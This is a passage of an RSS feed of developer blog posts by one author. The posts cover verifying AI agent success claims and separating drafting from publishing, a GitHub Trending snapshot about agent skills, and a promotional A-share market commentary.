&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;report_success&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# A success claim is a hypothesis until an external check confirms it.
&lt;/span&gt;    &lt;span class="n"&gt;artifact&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;observable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;artifact&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# do the real action
&lt;/span&gt;    &lt;span class="n"&gt;verified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch_back_from_destination&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;observable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# read from the target
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;verified&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="c1"&gt;# never claim.ok()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. CLIs lie too
&lt;/h3&gt;

&lt;p&gt;Later I shipped a publishing CLI with a &lt;code&gt;--headless&lt;/code&gt; flag that returned &lt;code&gt;success: true&lt;/code&gt; while publishing &lt;strong&gt;nothing&lt;/strong&gt;. Why? The tool checked "did my HTTP request complete?" instead of "is the article live on the site?" The request was fine. The platform silently dropped the payload.&lt;/p&gt;

&lt;p&gt;Lesson: verify against the &lt;strong&gt;destination&lt;/strong&gt;, never against your own request. After any publish, fetch the resource back from the target and confirm it exists. A successful tool call is not a successful task.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The context that produced the work will rubber-stamp it
&lt;/h3&gt;

&lt;p&gt;My first "reviewer" agent inherited the full writer context — same conversation, same assumptions, same blind spots. It approved garbage every time, because it was just the writer in a different hat.&lt;/p&gt;

&lt;p&gt;Independent review means &lt;strong&gt;fresh context&lt;/strong&gt;: the reviewer sees only the diff, the acceptance criteria, and the verifiable artifacts. That is why code review in real teams is done by a different human who did not write the code. Your critic agent needs the same separation, or it is just formatting with an opinion.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Skills that lecture get ignored
&lt;/h3&gt;

&lt;p&gt;I kept making my agent skills longer. 13 book frameworks. Iron rules repeated five times for emphasis. A 174 KB skill attached to every task. Token spend went up — output quality went &lt;em&gt;down&lt;/em&gt;. Agents skim. The parts of the skill that mattered were buried under the parts that made me feel thorough.&lt;/p&gt;

&lt;p&gt;What finally worked:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Short skills&lt;/strong&gt;: three principles, not thirteen frameworks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard gates in the prompt itself&lt;/strong&gt;: "title score ≥ 6.5 or do not publish", "at least 2 real images or do not publish". Let the model decide &lt;em&gt;how&lt;/em&gt;; encode the &lt;em&gt;whether&lt;/em&gt; as a rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Move the permission out of the agent&lt;/strong&gt;: the writer drafts, a separate process decides whether the draft may reach the world.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The refactor that changed everything
&lt;/h3&gt;

&lt;p&gt;Separate &lt;strong&gt;can do&lt;/strong&gt; from &lt;strong&gt;may do&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The writing agent has autonomy to &lt;em&gt;draft&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;A gate — separate process, its own rules, external checks — has custody of &lt;em&gt;publishing&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Autonomy for creation. Custody for release.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That single split is what turned a pipeline that quietly burned API credits into one I can leave running overnight and actually trust the logs of.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you build skills and autonomous agents like these, my open-source skill set and tools live on &lt;a href="https://github.com/Felixwang007" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; (including a self-updating &lt;a href="https://felixwang007.github.io/awesome-content-tools/" rel="noopener noreferrer"&gt;GitHub Trending aggregator site&lt;/a&gt;). A few polished versions — including the A-Share Stock Analysis skill and an AI-text humanizer — are published on the &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;Xiaping skill marketplace&lt;/a&gt;. If you have hit a silent-failure story of your own, I would genuinely like to hear it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>This Week's GitHub Trending Quietly Became a Skill Marketplace (Live Snapshot, Sep 3)</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 03 Sep 2026 04:01:02 +0000</pubDate>
      <link>https://dev.to/felixwang007/this-weeks-github-trending-quietly-became-a-skill-marketplace-live-snapshot-sep-3-830</link>
      <guid>https://dev.to/felixwang007/this-weeks-github-trending-quietly-became-a-skill-marketplace-live-snapshot-sep-3-830</guid>
      <description>&lt;p&gt;Every six hours, my little open-source bot snapshots GitHub Trending into a clean digest so I can watch where the developer world is going without doom-scrolling. I've been doing this for months, and this week's snapshot is one of the clearest signals I've seen: &lt;strong&gt;the trending page has stopped being about models and started being about how agents are organized, equipped, and verified.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is the live data — repos created in the last 7 days, sorted by stars:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Repo&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;XiaoDuoYa/codex-with-chatgpt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~2.3k&lt;/td&gt;
&lt;td&gt;ChatGPT as the planning brain, Codex as the hands — a two-agent harness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Nanako0129/sepia&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1.6k&lt;/td&gt;
&lt;td&gt;A "De-AI" writing skill for Agent Skills-compatible agents, 77+ rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cbrock84/headcount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1.1k&lt;/td&gt;
&lt;td&gt;Claude Code structured as a company: 15+ departments, 125+ skills&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MetaMask-AI/metamask-desktop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1.2k&lt;/td&gt;
&lt;td&gt;The MetaMask desktop app (Ethereum browsing)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;anthropics/commerce-agents&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~570&lt;/td&gt;
&lt;td&gt;Anthropic's official blueprint for shopping/merchant agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2akouwu/reverify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~600&lt;/td&gt;
&lt;td&gt;"Verified reverse engineering": AI grounded in deterministic tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Player-YN/PawWork_ZhuaZhua&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~560&lt;/td&gt;
&lt;td&gt;A selection-first web agent for Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;subsy/skill-cabinet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~370&lt;/td&gt;
&lt;td&gt;Tooling for managing skills themselves&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five of the top eight are agent-related. Last month, the same slot would have been filled by model repos. That is a genuine category shift, and it clusters into three patterns worth stealing:&lt;/p&gt;

&lt;h2&gt;
  
  
  1. SKILL.md is becoming a distribution format
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sepia&lt;/code&gt;, &lt;code&gt;headcount&lt;/code&gt;, and &lt;code&gt;skill-cabinet&lt;/code&gt; all treat a skill — a folder with a &lt;code&gt;SKILL.md&lt;/code&gt; plus scripts and references — as the atomic unit of software. Not a package, not a container: a skill. Why it matters: skills are loaded on demand into an agent's context, so distribution cost drops toward zero compared to libraries that must be installed and imported. The ecosystem that already emerged around Agent Skills (CLI installers, marketplaces, registries) looks a lot like npm in 2011.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Agent brains are splitting — planner vs. executor
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;codex-with-chatgpt&lt;/code&gt; (ChatGPT thinks, Codex works) and &lt;code&gt;anthropics/commerce-agents&lt;/code&gt; both encode the same architectural bet: don't make one agent do everything. Give one model the reasoning/planning role and another the execution harness. This matches what I've learned running automated publishing pipelines for months — a cron agent that both &lt;em&gt;decides&lt;/em&gt; and &lt;em&gt;executes&lt;/em&gt; fails silently; separating the planner from the executor and giving the executor external checks is what actually catches garbage before it ships.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Verification is the new moat
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;reverify&lt;/code&gt; (AI reverse engineering checked against deterministic tools) is the sharpest example: when an agent produces output, the winning pattern is not better prompts but &lt;em&gt;an external verifier the agent can't argue with&lt;/em&gt;. In my own stock-analysis and content pipelines, every time I replaced "trust the agent's success report" with an independent check (e.g. live market data, or a hard gate on output quality), reliability jumped. The models change; the need for falsifiable checks does not.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to actually do this week
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;If you use Claude Code / Codex / Cursor: try packaging one of your repetitive workflows as a skill. A skill you can install on any agent beats a script you have to re-explain.&lt;/li&gt;
&lt;li&gt;If you build agents: budget 30% of your effort for a verifier layer, not for prompt polish. That is the difference between a demo and a tool.&lt;/li&gt;
&lt;li&gt;If you watch trends: don't trust your memory — snapshot the data. My aggregator (zero-cost, zero-API, updates every 6h) is free to use: &lt;strong&gt;&lt;a href="https://felixwang007.github.io/awesome-content-tools/" rel="noopener noreferrer"&gt;https://felixwang007.github.io/awesome-content-tools/&lt;/a&gt;&lt;/strong&gt; (repo: &lt;code&gt;Felixwang007/awesome-content-tools&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One more plug that fits the theme: the skill economy is not just an English-language thing. I publish Chinese-language skills for AI agents too — including an &lt;strong&gt;A-Share stock analysis expert&lt;/strong&gt; (three-pillar system: technical + fundamental + sentiment, 24 indicators) on the xiaping.coze.com skill marketplace, with the free open-source version in the same GitHub. If you trade Chinese markets or just want to see a real-world skill in action, both are linked from the repo above. The skills are the product now — the repos are just the packaging.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>A-Shares Just Rotated: BYD -4% While Moutai Held Flat — What the Divergence Tells You (Aug 31 Live Data)</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 31 Aug 2026 04:05:29 +0000</pubDate>
      <link>https://dev.to/felixwang007/a-shares-just-rotated-byd-4-while-moutai-held-flat-what-the-divergence-tells-you-aug-31-live-3jj7</link>
      <guid>https://dev.to/felixwang007/a-shares-just-rotated-byd-4-while-moutai-held-flat-what-the-divergence-tells-you-aug-31-live-3jj7</guid>
      <description>&lt;p&gt;It's Monday lunchtime in Shanghai, and the morning session just delivered the kind of tape that separates people who watch the index from people who read the market.&lt;/p&gt;

&lt;p&gt;Here's what actually happened in the first half of today's session (2026-08-31, live quotes):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Index / Stock&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Shanghai Composite&lt;/td&gt;
&lt;td&gt;3,944.46&lt;/td&gt;
&lt;td&gt;-0.20%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shenzhen Component&lt;/td&gt;
&lt;td&gt;13,812.99&lt;/td&gt;
&lt;td&gt;-1.00%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChiNext&lt;/td&gt;
&lt;td&gt;3,380.15&lt;/td&gt;
&lt;td&gt;-1.29%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BYD&lt;/td&gt;
&lt;td&gt;¥88.47&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-4.17%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CATL&lt;/td&gt;
&lt;td&gt;¥358.17&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-2.80%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LONGi Green Energy&lt;/td&gt;
&lt;td&gt;¥11.96&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-3.78%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Seres&lt;/td&gt;
&lt;td&gt;¥49.30&lt;/td&gt;
&lt;td&gt;-2.55%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kweichow Moutai&lt;/td&gt;
&lt;td&gt;¥1,296.08&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-0.10%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wuliangye&lt;/td&gt;
&lt;td&gt;¥71.20&lt;/td&gt;
&lt;td&gt;-0.43%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The index printed "a mild dip." But underneath, a violent rotation was happening: new-energy (EVs + solar) got sold hard, while defensive white-liquor barely blinked. That gap — BYD down 4% while Moutai is flat — is the signal. The index is just the noise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the headline number lies to you
&lt;/h2&gt;

&lt;p&gt;The Shanghai Composite is dominated by financials and old-economy heavyweights. When money rotates out of growth and into defensives, the index can look "stable" while a growth-heavy portfolio gets shredded. Read the index for mood; read the &lt;em&gt;divergence&lt;/em&gt; for direction.&lt;/p&gt;

&lt;p&gt;Today's tape is a textbook risk-off rotation: risk appetite is shrinking at the margin, and capital is hiding in the names that pay dividends and survive recessions.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three-pillar way to read this
&lt;/h2&gt;

&lt;p&gt;My A-share scanner doesn't try to predict the market. It triangulates three independent signals and waits for them to agree:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Technical&lt;/strong&gt; — price/volume structure (MACD, KDJ, RSI, Bollinger, volume-price). Says &lt;em&gt;what&lt;/em&gt; is happening.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fundamental&lt;/strong&gt; — ROE decomposition, PEG, valuation percentile. Says &lt;em&gt;why&lt;/em&gt; it might be justified.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intelligence&lt;/strong&gt; — 龙虎榜 (dragon-tiger list of top buy/sell seats), block-trade and capital-flow data, sector rotation, policy catalysts. Says &lt;em&gt;who&lt;/em&gt; is doing it and &lt;em&gt;where&lt;/em&gt; the money is going.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On days like today, pillar #3 earns its keep. The dragon-tiger list and block-trade data will tell you this afternoon whether the EV selling was institutional rotation or a few hot-money desks panic-exiting. Those two scenarios have completely different follow-throughs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three rules you can use right now (no paid data required)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Rule 1 — When the index and the sectors disagree, trust the sectors.&lt;/strong&gt; Compute the gap between ChiNext and the Shanghai Composite. Today it's ~1.1 percentage points of underperformance. If that spread widens three sessions in a row, it's a rotation, not a blip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 2 — Don't buy the dip in the sector being sold until volume confirms a floor.&lt;/strong&gt; A falling knife with rising volume is still a falling knife. Wait for a session of shrinking volume with a higher low — that's the first footprint of distribution ending.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 3 — In risk-off rotations, the rotation target is usually the previous laggard.&lt;/strong&gt; Money doesn't leave the market; it moves. Today's defensiveness (liquor, banks, dividends) is the same money that was chasing EVs in July. Watch where volume accumulates over the next 3 sessions — that's the next leg.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the scanner automates this
&lt;/h2&gt;

&lt;p&gt;The scanner pulls free quote data (Tencent/Sina endpoints — no API key, no cost), computes 24 indicators per stock, scores each of the three pillars 0-10, and only flags a stock when all three agree. The Aug 31 morning scan automatically flagged the rotation by scoring new-energy names down on technicals while defensive names held their pillar scores.&lt;/p&gt;

&lt;p&gt;The full pipeline (Python, zero paid dependencies) is documented in my &lt;a href="https://github.com/felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;awesome-content-tools&lt;/a&gt; repo — a collection of self-updating tools including the A-share scanner, a GitHub Trending aggregator, and the market-data scripts used for this article. If you're on the Chinese skill marketplace &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评 (xiaping.coze.com)&lt;/a&gt;, you can also find my published data-analysis and stock tooling skills there.&lt;/p&gt;

&lt;p&gt;No paid API, no black box, no crystal ball — just three independent signals forced to agree before you act. That's the whole edge.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
  </channel>
</rss>
